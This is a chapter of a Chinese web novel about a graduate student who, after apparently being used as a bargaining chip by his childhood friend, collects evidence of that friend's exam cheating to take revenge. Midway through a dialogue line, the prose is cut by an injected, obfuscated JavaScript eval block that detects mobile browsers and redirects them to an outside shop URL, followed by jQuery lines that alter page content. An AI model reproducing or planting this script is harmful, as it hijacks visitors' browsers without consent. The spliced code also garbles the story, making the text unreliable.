林澈做了一个梦。
梦里是十二岁的夏天，蝉鸣聒噪，他和程烬安坐在老社区楼顶的天台上，脚下晃荡着，面前是整片城市的暮色。
“你说咱们以后会变成什么样？”林澈问。
程烬安偏头看他，眼睛很亮：“一起考上好大学，一起出人头地。”
“那我们会一直是朋友吗？”
“当然。”程烬安笑得理所当然，“一辈子的兄弟。”
林澈也笑了，笑容干净得像个傻比。
然后他醒了。
醒来的瞬间，林澈盯着天花板，花了足足十秒才想起今天是几号，自己在哪里。研究生宿舍，晨光从窗帘缝隙里挤进来，另一张床铺空着——室友君荼白又去学校图书馆古籍修复部的档案室修复古籍了。
手机屏幕上显示：2024年9月15日，上午6：15。
林澈坐起身，光着脚踩在冰凉的地板上。他走到洗手台前，看着镜子里的自己。二十三岁，清瘦，眼窝有些深，带着长期失眠的青黑。他撩起睡衣下摆，露出精瘦腰腹上那些浅浅的痕迹——有些是抓痕，有些是咬痕，都是一年前留下的。
现在已经淡得几乎看不见了。
可是看不见不代表不存在。
林澈放下衣服，机械地刷牙洗脸。他的动作很慢，像是不急于进入新的一天。洗漱完毕，他换上干净的衬衫和长裤，站在镜子前整理衣领。镜子里的人穿戴整齐，表情平静，看起来是个普通的研究生。
没人能看出他两年前崩溃成什么样子。
也没人知道他即将做什么。
---
九点整，林澈准时出现在实验楼的会议室里。今天是研究生开学后的第一次组会，导师周慕星教授要布置新学期的科研任务。
会议室里已经坐了七八个人。林澈找了个靠边的位置坐下，打开笔记本电脑，表情专注。
“人齐了吗？”周慕星推了推眼镜，扫视一圈，“程烬安怎么还没到？”
林澈的手指在键盘上顿了顿。
“程师兄昨晚在实验室待到很晚，”旁边一个女生小声说，“可能起晚了？”
周慕星皱眉，刚要说话，会议室的门被推开了。
程烬安走了进来。
他穿着有些皱的黑T恤和深灰色休闲裤，头发微乱，眼睛里布着红血丝，明显是熬了夜。但即便如此，他身上那种天才特有的锋利气质依然藏不住，冷冽锋锐。
“抱歉，周教授。”程烬安低声道歉，快步走到空位上坐下。
那个位置恰好在林澈斜对面。
两人的视线在空中短暂地交汇，又若无其事地移开。就像过去一个月里无数次那样——同一个实验室，同一个导师，表面上客客气气，实际上从不多说一句话。
林澈垂下眼，唇角勾起一个极淡的弧度。
十八年了。
从五岁到二十三岁，整整十八年，他们从无话不谈的兄弟变成了如今这副模样——同处一教室，却形同陌路。
程烬安大概不记得了吧。不记得十一年前那个夏天，他在天台上说的那些话。也不记得三年前那封改变林澈一生的邮件。
但林澈记得。
他记得一切。
---
会议进行了一个小时。周慕星布置了新学期的科研计划，重点强调了下个月的全国生物医学创新大赛。
“这次比赛很重要，”周慕星严肃地说，“获奖的话对你们申请博士、找工作都有很大帮助。我希望大家重视起来。”
“程烬安，”周慕星点名，“你和林澈一组，负责蛋白质组学那个课题。你们俩理论基础都不错，配合好的话很有希望拿奖。”
林澈的手指停在键盘上。
程烬安抬眼看了林澈一眼，点头：“好的，周教授。”
“其他人的分组我发到群里了，”周慕星继续说，“初赛报名截止时间是9月22号，你们抓紧时间准备。散会。”
其他人陆续离开。林澈合上电脑，起身准备走。
“林澈。”程烬安叫住了他。
林澈转身。程烬安站在原地，手插在裤袋里，眼神平静：“课题的事，找个时间讨论一下？”
“可以。”林澈的声音很淡，“你定时间。”
“今晚八点，实验室？”
“好。”
林澈说完就走了，没有停留。程烬安看着他的背影，眉头微蹙，但什么也没说。
走出实验楼，林澈在阳光下站了一会儿。校园里的树叶开始变黄，风吹过时沙沙作响。几个本科生笑着从身边经过，青春洋溢。
林澈想起五年前，他也是这样走在校园里，对未来充满期待。那时他刚考上和程烬安同一个学校，兴奋地给程烬安发消息：“我们又在一个学校了！”
程烬安回复：“嗯，很好。”
现在想起来，那三个字冷淡得可笑。
林澈拿出手机，翻到一个尘封已久的文件夹。里面是一年前，他刻意保存的一封邮件照片。
发件人：程烬安
收件人：江承晏
主题：Re: 实习生推荐
时间：2021年7月12日
江总您好，
关于暑期实习的事，我有个朋友对您公司的项目很感兴趣。他叫林澈，是我们学校生物系的，成绩不错，人也很踏实。如果您那边有名额的话，可以考虑一下他。
麻烦您了。
程烬安
林澈盯着这封邮件看了很久。
短短几行字，礼貌、得体，看起来就是普通的朋友推荐。
但林澈知道真相。
他知道江承晏在那封邮件之前给程烬安发了什么——“听说你有个长得不错的朋友？介绍给我认识一下，你要的那个项目名额就给你。”
他也知道程烬安为了那个实习名额，把自己当成了筹码。
三年后，当林澈在江承晏的私人电脑里看到这些邮件往来时，他整个人都垮掉了。
他一直以为是自己优秀才被选中，一直以为江承晏是真心欣赏他。
结果从一开始，他就只是一场交易的筹码。
---
晚上八点，林澈准时到了实验室。
程烬安已经在了，他坐在电脑前，屏幕上密密麻麻的数据和代码。听到开门声，他回头：“来了。”
“嗯。”林澈走过去，在他旁边的位置坐下。
实验室很安静，只有电脑风扇轻微的嗡鸣声。窗外是深蓝色的夜空，远处教学楼的灯光星星点点。
“课题方案我大概想了一下，”程烬安打开一个PPT，“主要思路是用CRISPR技术筛选关键蛋白，然后做功能验证。你看看有什么补充的。”
林澈看着屏幕上的方案，不得不承认程烬安确实是天才。思路清晰，逻辑严密，几乎找不出漏洞。
“可以，”林澈说，“实验设计很完整。”
“那就按
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168977|196797||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个来，”程烬安关掉PPT，“数据处理我来做，你负责实验操作？”
“好。”
气氛又陷入沉默。程烬安转过椅子，看着林澈：“你最近...还好吗？”
林澈抬眼：“什么？”
“看你气色不太好，”程烬安说，“是不是没睡好？”
林澈嘴角牵了牵：“哈……我有个室友，每周三凌晨三点多就跟上了弦的弹簧一样惊悚得从床上蹦起来，他说只要有雨声就睡眠一直不太好，老毛病了。害得我现在都精神衰弱了……”
程烬安盯着他看了几秒，欲言又止，最后只是说：“还是要注意休息。这个比赛很重要，但身体更重要。不过，我打听过你的室友……是个孤儿，没什么钱，如果有必要我们可以赞助他出去住一段时间，也不能天天打扰你休息。”
“他的事轮不到你插手。”林澈站起身，“程烬安，没别的事我先走了。”
“等等，我真的是好心。算了，”程烬安叫住他，从抽屉里拿出一个文件袋，“这是初赛的报名表，你填一下。明天交给周教授。”
林澈接过文件袋，指尖碰到程烬安手指的瞬间，他像触电般缩回手。
程烬安愣了一下。
“我填好了发给你，”林澈平静地说，“你统一交。”
说完他转身就走，动作很快，像是在逃。
程烬安坐在原地，看着林澈消失的方向，眉头越皱越深。
他们之间什么时候变成这样的？
大一刚开学时，林澈还会主动约他吃饭、打球。后来渐渐疏远，到了大二下学期的暑假之后，进入大三就几乎不联系了。
程烬安以为是因为各自忙，没放在心上。
直到今年，林澈突然考到和他同一所学校读研，成了他的师弟。程烬安本想修复关系，林澈却始终保持距离，礼貌、客气，但生疏得像陌生人。
程烬安不明白发生了什么。
---
林澈回到宿舍，把文件袋扔在桌上。他打开电脑，登录邮箱，找到那个名为“证据”的文件夹。
里面有二十多份文件。
程烬安历年的考试成绩、论文记录、获奖证明，还有最关键的：他在上个月学术竞赛中的答题记录。
林澈花了整整三个月时间，收集这些资料。
作为程烬安的兄弟，他太了解程烬安的习惯了。程烬安有过目不忘的天赋，但他也有一个致命的弱点——太自负，总觉得自己不会被发现。
上个月的那场预选赛，程烬安因为要照顾突发心脏病的父亲，错过了考试时间。按规定会被取消资格。
但三天后，林澈在系统里查到，程烬安补交了答卷，并且拿了满分。
林澈找到那场考试的监考老师，旁敲侧击地打听。老师说：“程烬安啊，他确实缺考了。不过后来找了周教授说情，周教授心软，让他补考了。”
补考？
林澈调出了程烬安补交答卷的时间节点……就在标准答案公布的两个小时之后。
他还找到了一个关键证人：当天值班的研究生助教。助教无意间提到，程烬安补考那天，曾经在办公室待了半小时，说是要查资料。
办公室的电脑里，存着那场考试的标准答案。
林澈把这些证据一条条整理出来，做成报告。他知道这不是铁证，但足够引起学校的重视，足够让学术委员会介入调查。
而一旦调查，程烬安所有的辉煌都会崩塌。